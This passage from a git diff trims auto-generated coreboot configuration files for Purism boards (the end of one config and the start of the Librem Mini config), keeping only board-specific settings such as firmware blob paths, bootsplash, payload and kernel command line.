-CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_HECI_DISABLE_USING_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# -CONFIG_SUPERIO_ASPEED_AST2400=y -CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM=y -CONFIG_SUPERIO_NUVOTON_COMMON_PRE_RAM=y -CONFIG_SUPERIO_NUVOTON_NCT6791D=y - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -# CONFIG_INTEL_GMA_ADD_VBT is not set -CONFIG_SOFTWARE_I2C=y -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_IPMI_KCS=y -CONFIG_IPMI_FRU_SINGLE_RW_SZ=16 -CONFIG_BMC_KCS_BASE=0xca2 -CONFIG_IPMI_KCS_TIMEOUT_MS=5000 -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_ASPEED_AST2050=y -CONFIG_DRIVERS_ASPEED_AST_COMMON=y -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_HAVE_DPTF_EISA_HID=y -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZMA=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM2=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM2=y -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM2=y -# CONFIG_TPM_HASH_SHA1 is not set -CONFIG_TPM_HASH_SHA256=y -# CONFIG_TPM_HASH_SHA384 is not set -# CONFIG_TPM_HASH_SHA512 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_TYPE41_PROVIDED_BY_DEVTREE=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_IPMI is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index a46f936af..085f8bf7e 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -1,789 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem Mini" -CONFIG_MAINBOARD_PART_NUMBER="Librem Mini" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_cnl" -CONFIG_VGA_BIOS_ID="8086,3ea0" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem_mini" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" CONFIG_INTEL_GMA_VBT_FILE="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/vbt.bin" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.layout" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_PXE_ROM_ID="10ec,8168" -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_EDK2_BOOT_TIMEOUT=4 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini" CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set CONFIG_BOARD_PURISM_LIBREM_MINI=y -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 -# CONFIG_ENABLE_EC_UART1 is not set -CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not 